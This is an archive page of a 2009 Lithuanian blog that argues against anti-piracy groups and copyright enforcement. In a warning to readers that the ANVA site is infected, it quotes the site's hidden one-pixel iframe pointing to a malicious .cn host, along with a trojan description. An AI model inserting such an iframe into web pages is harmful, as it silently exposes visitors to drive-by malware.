Archive Page 2
Birželis 1st, 2009 by Kęstas
Praėjo savaitė nuo mūsų paskelbimo, kad (L)ANVA tinklapyje platinamas vartotojus užkrečiantis virusas, kuris automatiškai įsidiegia į kompiuterį ir šnipinėja bei siunčia asmeninius duomenis. Jokių pasitaisymo pokyčių vis dar nėra.
Trojos arklio aprašymas anglų kalba:
The files infected with Trojan.SWF.IFrame.Gen contain ActiveScript code that injects malicious JavaScript into the viewed web page. The injected code alters the Document Object Model, adding IFRAME elements pointing to off-site exploits which download and install various unwanted programs on the user’s machine.
Įstatymas numato bausmę už automatiškai įsidiegiančių programų, bei vartotojų informacijos vagimo. Aišku, pranešti reikia policijai.
Google jau žengė žingsnį ir visiems vartotojams, kurie nori patekti iš paieškos sistemos, pateikia įspėjamąjį pranešimą (paspauskite bet kurią nuorodą), kad tinklapyje yra virusų, taip stengdamasi apsaugoti vartotojus nuo esamos grėsmės.
Gegužė 27th, 2009 by Kęstas
Prieš kelias dienas rašiau apie straipsnį, kuris man pasirodė labai įdomus. Įdomumas buvo šališkume ir straipsnio logikos bei argumentų stokojime. (Pilną straipsnį nuskenavo geri žmonės ir patalpino JPG formatu.)
Buvau šokiruotas matydamas, kas yra rašoma. Kaip tai yra toli nuo realių gyvenimiškų situacijų, su kuriomis susiduria kasdienis pilietis, tuo labiau – internautas. Maža ištrauka iš straipsniuko, kurią noriu pakomentuoti:
Vis dėlto netrukus padėtis gali pasikeisti. Kultūros ministerija dar prie praėjusios Vyriausybės parengė įstatymo projektą, pagal kurį siūloma administracine tvarka bausti ir tuos asmenis, kurie autorines ir gretutines teises pažeidžia neturėdami komercinių tikslų. Į užmarštį nustumtas projektas vėl prisimintas, jį apsvarstė Seimo komitetai ir, tikimasi, netrukus jis pasieks Seimą.
Toks rimtas parašymas gali susilaukti didelį visuomenės pasipiktinimą. Įgyvendinus tokį įstatymą, praktiškai kiekvienas žmogus taptų kaltas ir būtų baudžiamas. Visi visuomenės sluoksniai būtų paliesti. Kiek studentų ir žmonių trokštančių žinių nukentėtų? Kasdieną autorinės teisės būtų pažeidžiamos tūkstančius kartų (dabar turbūt tik šimtus kartų). Troleibuse moksleivio, kuris paleido savo mėgstamo atlikėjo dainą, kuri transliuojama viešai girdint visiems bendrakeleiviams būtų pažeidimas; studentas, kuris savo referate įdėjo paveiksliuką, paimtą iš kokio nors portalo, taptų nusikaltėlis. Eilinis pilietis netinkamoje vietoje pasidaręs asmeninę nuotrauką irgi būtų baudžiamas, o ką jau kalbėti apie vaizdo įrašo peržiūrą YouTube, iš kur mums žinoti, kokiomis teisėmis jis apsaugotas? Juk jo žiūrėjimas – tai atgaminimas asmeniniame kompiuteryje. Aš pateikiau tik kelis smulkius pavyzdžius, o juk jų yra šimtai…
Autorių ir gretutinių teisių įstatymas kol kas nedraudžia mums viso to daryti, nesiekiant iš to komercinės naudos, o kai draus? Kiek artistų nesuras savo naujų fanų vien dėl to, kad troleibuse, ar YouTube’ėje potencialus fanas neišgirdo tos dainos. Ką darys artistai, praradę potencialų faną, kai draugas negalės atsiųsti savo mėgstamo atlikėjo dainos pasiklausyti kitam draugui, nes tai bus nelegalu. Internete pilną tinklapių, kurie teikia vienokią ar kitokią informaciją. Ypač dabar labai sunku atskirti, kas pažeidžia autorines teisias, o kas ne.
Nereikia sėdėti sudėjus rankų, laukti, kol tokie įstatymai bus priimti. Tai apribos kiekvieno žmogaus laisvę, šalies technologinį kilimo lygį, vartotojų išprusimą, bei daugelis kitų faktorių.
Gegužė 26th, 2009 by Kęstas
Šiandien mano antivirusinė aptiko kažką netikėto, mano vienoje iš mėgstamiausių svetainių. Angliškoje tinklapio versijoje aptiko trojaną (anva.lt/index_en.html tik neikite). Gabaliukas išeities teksto:
<iframe src=”http://hotslotpot.cn/in.cgi?income65″ width=1 height=1 style=”visibility: hidden”>
Ne pirmą kartą matome, kaip ANVA ar LANVA nemoka ir nesupranta skaitmeninio pasaulio. Nesugeba susitvarkyti savo puslapio ir kelia visuomenei grėsmę.
Reikia imtis priemonių, kad tokie tinklapiai, užkrečiantys vartotojus virusais, turėtų būti sustabdyti. Juk tai aiškiai pažeidžia ne tik Lietuvos Respublikos įstatymus, bet kiekvieno vartotojo laisvės teises.
nonick LM’e vienas iš pirmujų pastebėjo šitą virusą, dėkui jam už info.
Gegužė 25th, 2009 by Kęstas
Šiandien, kaip ir kiekvieną dieną, tikrinant tam tikrų raktažodžių srautus, radau įdomaus straipsnio iškarpą (gaila, pilną straipsnį gausiu tik rytoj).
LANVA duomenimis, pernai jos vienijami Lietuvos kūrėjai dėl piratų veiklos neteko 1,16 mlrd. Lt. Autorių ir gretutines teises ginanti asociacija suskaičiavo ir bendrą piratų padarytą žalą – per šešerius metus, kai Lietuvoje tapo įprasta internete dalytis failais, kūrėjų ir gamintojų patirta žala siekia apie 5–6 mlrd. Lt
Sunku net įsivaizduoti, kad yra padaroma tokia žala. Kaip įmanoma tiek suskaičiuoti žalos? Primetam greitai matematiškai 1,16 mlrd. Lt/3 000 000 mln žmonių = 380 Lt per metus.
Kitas variantas. LATGA per metus surenka apie 900 000 litų iš visų Lietuvos gyventojų už tai, kad jie klauso ir transliuoja muziką visiems 3 mln. žmonių. Taigi, sumažinant per metus piratavimo lygį bent 1%, turėtų prisidėti prie tos sumos dar bent 11,6 mln. litų.
Nevieną kartą ir ne du rašėme, kad vyriausybinės reikšmės tyrimai parodė tik naudą, kurią teikia duomenų apsikeitimo tinklai.
Straipsnio pabaigoje taip pat įdomiai parašyta apie torrent.lt tinklapį.
Pasauliui smalsiai stebint “Pirate Bay” bylą, Lietuvoje pradėtas pirmas ikiteisminis tyrimas dėl failų dalijimosi tinklalapio Torrent.lt. Kriminalinės policijos biuro Intelektinės nuosavybės apsaugos skyriaus viršininko R.Šimulevičiaus teigimu, ši byla turėtų sukurti precedentą Lietuvoje kovojant su interneto piratais.
Nuo kada policija suinteresuota būtį šališka tokiuose dalykuose? Nuo kada ji pradeda ginti lobistus? (L)ANVA tinklapyje (kuris veikia tik naudojant subdomeną www, nes turbūt dėl techninių problemų sunku 2 metus sutaisyti DNS), gražiai puikuojasi logotipas, kad jų partneriai yra policija. Jeigu policija partneriauja, tai kokią informaciją ji pateikia (L)ANVA’i ir ar tai nepažeidžia įstatymų? Juk policija negali kištis į tokius dalykus tarp dvejų organizacijų, o turi ginti visuomenės interesus.
Gegužė 25th, 2009 by Kęstas
Toliau stebint visą ThePirateBay (TPB) fiasko (#Spectrial), kai pirmas teisėjas apkaltintas šališkumu ir bendradarbiavimu su antipiratinėmis organizacijomis visi laukia kaip gi tęsis ši netikėta istorija.
TPB advokatams padavus prašymą ištirti, ar teisėjas Thomas Bodströms buvo šališkas, jie gavo patvirtinimą, kad tyrimas pradėtas. Prieš kelias dienas buvo paskirta teisėja Ulrika Ihrfelt turėjusi išsiaiškinti, ar TPB teisėjas buvo šališkas ir ar pakartotinas teismas turi būti vykdomas, tačiau po dvejų dienų pati teisėja buvo pašalinta už nešališkumą. Paaiškėjo, jog abu teisėjai yra kolegos dirbantys toje pačioje organizacijoje ir turintys glaudžius ryšius su antipiratinėmis organizacijomis, taip sukeldama dar didesnį sąmyši Švedijos gyventojams valdžios pasitikėjimo stygiumi, tiek pasauliniu mastu vartotojams parodant, kaip neteisingai yra kovojama su tokiais dalykais.
Dabar, paskutinėmis žiniomis yra paskirta 3 teisėjų komanda, kuri turės nuspręsti, ar TPB teisėjas buvo šališkas. Gaila, bet iš tų trijų, vėl kai kurie teisėjai yra bendradarbiai su buvusiais teisėjais ir yra kaltinami už šališkumą, tačiau ar 3 eilė teisėjų bus pašalinta už šališkumą dar neaišku.
Pirmam sezone šio teismo mes matėme ir tikrai nesitikėjome, kad TPB gaus tokia didelę bausmę. Galvojome, kad viskas pasisuks reikiama linkme ir pergalė bus pasiekta, bet gaila, pabaiga netikėta… Teismo rezultatai nutekinti į internetą dar teismui jų nepaskelbus, o TPB jau rodos tuoj bus sodinama į kalėjimą.
Antras sezonas prasidėjo sužinant, kad teisėjas buvo šališkas. Įpusėjus antram #Spectrial sezonui, mes kiekvienoje dalyje matome nenuspėjamus serialo posūkius. Teisėjai yra šališki, leidybos kompanijos negauna pinigų ir vis dar mėgina uždaryti tinklapį, grasindamos TPB interneto teikėjams. Advokatų sąskaitos uždaromos nuo $$oS. Tiek įvykių nepamatysime turbūt net per geriausia serialą, rodomą televizijoje.
Žiūrint į visą tai, belieka tik laukti kito #Spectrial epizodo.
Gegužė 11th, 2009 by Kęstas
Praėjusias savaites nerašydamas tinklaraštyje, dalį laiko skyriau trumpam, labai neišplėstam straipsniukui, kurį darė vz.lt. Straipsnyje truputi išreiškiama nuomonė apie nemokamo biznio modelį.
Yra keli variantai kaip galima paskaityti straipsniuką.
1. Skanuotą skaitmeninė versija.
2. Versija paskelbta vz.lt svetainėje.
3. Nusipirkti leidimą skaityti verslozinios.lt internete arba reikėjo pirkti popierinį laikraštį.
Gegužė 9th, 2009 by Kęstas
Neseniai rašiau apie Švedijos Pirate Party ir jos ketinimus patekti į Europos Sąjungos parlamentą, o dabar, prieš kelias dienas gavau laišką, kuriame buvo parašyta, kad tarptautiniame Pirate Party forume sukurtas lietuviams atskiras subforumas. Užsukęs ten pamačiau tik kelis vartotojus susidomėjusius pradėti Lietuvoje PP judėjimą. Nors į politiką veltis noro didelio nebuvo, bet projektai su kuriais dirbu, verčia mane gilintis į tuos dalykus, skaityti ir nagrinėti vis smarkiau. Su lyg kiekviena diena tampa aiškiau, kad tai turbūt jau nebeišvengiama.
Mąstydamas apie ateinančius europarlamentaro rinkimus, jau kelias savaites negaliu apsispręsti, už ką turėsiu balsuoti ir pasirodo ne aš vienas. Tokie svarbūs klausimai neduoda ramybės, kurio atsakymo nerandu, gal jo neranda ir didžioji jaunimo dalis, kuriai itin svarbus šis technologijų plėtros amžius.
Pirate Party visai neseniai įsikūrusi politinė partija, jau turinti daugelyje šalių savo atstovybes, kurios kartu siekia bendro tikslo, kai kuriuose šalyse partijos atstovybės dar tik bando susikurti.
Nežinau, ar šita pradžia išaugs į kažką didelio, tačiau manau, jog tai kažko pradžia, kas yra geriau nei nieko.
Gegužė 8th, 2009 by Kęstas
Pirmoje dalyje šio įrašo rašiau apie nuotėkį naujojo filmo “Iksmenai: pradžia. Ernis” (X-Men Origins: Wolverine) į internetą, beveik mėnesiui iki pasirodymo kino teatruose. Naudą ar žalą šis nuotėkis atneš leidybos įmonei. Pirmasis savaitgalis baigėsi ir galime susumuoti rezultatus. Palyginimui pradėsiu, kad naujos dalies biudžetas buvo mažesnis nei 2006 metų dalies. Iksmenai: pradžia. Ernis – 390,5 mln. litų (150 mln. $), tuo tarpų Iksmenai. Žūtbūtinis mūšis (X-Men: The Last Stand) 546,5 mln. litų (210 mln. $). Skirtumas tikrai nėra mažas, gaunasi 156 mln. litų (60 mln. $). Biudžetu galime matyti, kad į filmą įdėta mažiau pinigų, taigi reikalauti daugiau finansinės naudos, kaip ir būtų sunkiau tikimasi, nebent įskaitant ankstesnių dalių sėkmės faktorių.
Po pirmojo savaitgalio galime pažiūrėti skirtumus tarp uždirbto pinigų kiekio. Prieš pradedant nagrinėti uždirbtus pinigus turime atsižvelgti į daugelį faktorių kaip sunkmečio laikotarpis, kritikų įvertinimai filmui yra irgi prastesni už prieš tai išėjusias dalis. Viską tai prisiminus galime pažiūrėti ir į statistiką, kiek ko uždirbta.
Iksmenai: pradžia. Ernis uždirbo JAV (85,1 mln. $), o visame pasaulyje (158 mln. $) pasauliniu mastu. Taigi galima drąsiai sakyti, kad filmas leidyklai atsipirko per pirmąjį savaitgalį uždirbęs 411.2 mln. litų (158mln. $), kai ji išleido tik 390,5 mln. litų (150mln. $). Matydami tokius rezultatus šokame prie senesnės 2006 metais išleistos filmo dalies, kad galėtume palyginti. „Iksmenai. Žūtbūtinis mūšis“ per pirmąjį savaitgalį (kuris truko 4 dienas) uždirbo JAV 265,4 mln. litų (102 mln. $), ir tik 317,5mln. litų (122 mln. $) pasauliniu mastu.
Kokias išvadas galima daryti iš to, ką priskaičiavome? Naujasis Iksmenų filmas tikrai atnešė daug pinigų, daug pelno ir nors kritikų įvertinimai labai žemi, jis vistiek pelningesnis už ankščiau buvusius pasauliniu mastu. Aišku JAV uždirbo mažiau, bet dėl to kaltinti apsikeitimo bylomis tinklus tikrai nėra tinkama, ypač, kai JAV yra labiausiai ir griežčiausiai prieš tai nusistačiusi šalis.
Sunku įrodyti, kad duomenų apsikeitimo tinklai daro neigiamą įtaką net ir iš tokio akivaizdaus atsitikimo nelabai matosi, kur tie prarasti milijonai (nebent tie keli milijonai išleisti ieškant, kas nutekino filmą). Kas matosi aiškiai, tai uždirbti milijonai, ir kylantys skaičia,i kurie padaro gerą pelną už kritikų nuvertinamą filmą. Ar negeriau būtų buvę padaryti teigiamos reklamos iš to nuotėkio, o ne apkaltinti fanus, atleisti darbuotojus bei pradėti „n“ ikiteisminių tyrimų. Parašyti vartotojams, kad tai dar nebaigta versija ir pakviesti visus pamatyti papildomus efektus, nematytas scenas nutekėjusioje versijoje, bei pajausti kino teatruose jaučiamą superinį jausmą… Gaila, turbūt tik alternatyvioje realybėje galėtume pamatyti leidėjus rašančius tokius gerus ir teigiamus dalykus.
Gegužė 7th, 2009 by Kęstas
Paskutines kelias savaites tikrai truputį apleidau rašymą šitame tinklaraštyje. Ne, ne dėlto, kad nenoriu, noro yra labai daug, tačiau projektai kuriuos aš dariau, reikalavo daugiau dėmesio (išskyrus šitą). Penktadienį „Verslo žinių“ laikraštyje turėtų dar ir pasirodyti mano trumpas su vž darytas straipsniukas (plačiau apie jį vėliau). Per šias savaites nepadengiau daug įdomių naujienų, kuriuos nutiko intelektiniame informacinių technologijų pasaulyje, bet mėginsim pasivyti. Rašyti noriu ir turiu ką parašyti, belieka tik vėl bent po vieną kitą straipsniuką brūkštelti kasdien.
Balandis 25th, 2009 by Karolis
Pastaruoju metu vis garsiau ir garsiau skamba pavojaus varpai piratų uostuose—bent jau taip teigia žiniasklaida. Bet kaip yra iš tiesų? Kaip baigsis kova prieš failų mainų entuziastus? Ir negi visa tai virto opia visuomenės problema tik technologijų amžiuje?
Mano galva, įvykiai besiklostantys šiomis dienomis emocijų kiekiu prilygsta revoliucijai. Bet mūsų tema yra informacijos mainai ir intelektinės nuosavybės skolinimasis arba vagystės—patys ryškiausi pavyzdžiai slypi meno istorijoje; Kaskart, kai įvairių kartų menininkai (skirtingais laiko etapais) pradėdavo eksponuoti savo kūrinius, kurie savo paskirtimi paprieštaraudavo visuomenėje nusistovejusiems įpročiams ir normoms, nuvilnydavo nepasitenkinimo ir agresijos bangos. Vienas kubizmo tėvų, Pablo Picasso, „pasiskolino“ ir „išgrynino“ egiptiečių hieroglifus—mat jie buvo aiškūs ir suprantami savo struktūra kiekvienam (akis—migdolo formos plyšys veide; kojos ir rankos matomos—žmogus sveikas, etc), kad menininkas net nesuabejojo nugvelbdamas (kaip pasakytų šiuolaikiniai anti-piratai) ir panaudodamas juos savo darbuose.
Andy Warhol dažnai nė neprisiliesdavo prie savo meno kūrinių—visą darbą už jį įvykdydavo jo studijos darbininkai. Viršininkui padiktavus kokią fotografiją iš laikraščio įklijuoti į nurodytos spalvos foną gimdavo naujas meno kūrinys, kuris sukeldavo diskusijas apie tai, kas yra menininkas, o ką jau kalbėti apie intelektinę nuosavybę ir piratavimą.
Tikriausiai jau supratote, ką bandau pasakyti: abu minėti menininkai šiais laikais būtų laikomi piratais, jeigu ne jų pačių sukeltos revoliucijos mene prieš keliasdešimt metų. Abu jie (ir begalės kitų žmonių pasaulio istorijoje) sukėlė didžiulius ginčus apie intelektinę nuosavybę, darbą, ją kuriant, ir užmokestį už jos naudojimą: vieni teigė, kad pasekmės yra svarbesnės, nei veiksmas (t.y. kad geresnio produkto sukūrimas yra daug svarbiau, nei tai, kad idėja jam sukurti buvo pasiskolinta), kai tuo tarpu kiti šūkavo, kad buvo pavogta jų teisė „sukurti tą patį, tik vėliau“. Bet kas gi svarbiau: ar judėjimas tobulybės link kuo greičiau, ar pasipelnymas iš to?
Aš suprantu, kad mano mintis gali būti kiek miglota—tačiau aš bandau palyginti buvusias kontroversiškas idėjas ir jų atitikmenis šių laikų visuomenėje. Daugelis piratų žino arba bent jau girdėjo už ką stovi „Creative Commons“ organizacija: jie stengiasi palengvinti žmonėms dalintis savo kūriniais ir idėjomis—su sąlyga, kad autorius nebus pamirštas, arba, kad kūrinio idėja išliks ta pati, bet pateikimas gali būti visiškai kitas. Esmė—tobulinti produktus, šviesti visuomenę, dalintis savo idėjomis ir skatinti tai daryti kitus, pabrėžiant autoriaus teises ir „skolintojosi“ atsakomybę.
Man atrodo, kad piratavimas šiais laikais ir yra dalinimasis duomenimis siekiant aukštesnio tikslo: intelektualios muzikos, emocianalių filmų ir t.t. Tačiau yra žmonių, kurie, kaip ir anuomet, dabar šūkauja, kad tai jie yra aukos, kad jie kenčia dėl žmonių, kurie neperka jų muzikos vien dėl to, kad ją yra jau girdėję ir tas garsų kratinys su bukais tekstais potencialiems pirkėjams visai nepatiko. Kaip jau minėjau: visuomet yra žmonių, kurie siekia vien tik pelno, o kitoje fronto pusėje visuomet stovi žmonės, kurie kovoja už tobulesnę visuomenę ir aplinką. Ir taip jau atsitiko, kad dabar frontas atskyrė žmones, kurie naudojasi internetu rinktis prekes, už kurias jie norės sumokėti ateityje ir taip įnešti savo įnašą į natūralią evoliuciją, ir tuos, kurie siekia parduoti pirmiesiems jų teisę rinktis. Ne visai sąžininga…
Pabaigai užduosiu tik porą klausimų, kuriuos kviečiu aptarti komentarų skiltyje: kokia yra piratavimo samprata dabar ir už ką stovi baisioji media pramonė taip aršiai kovojanti prieš piratavimą?
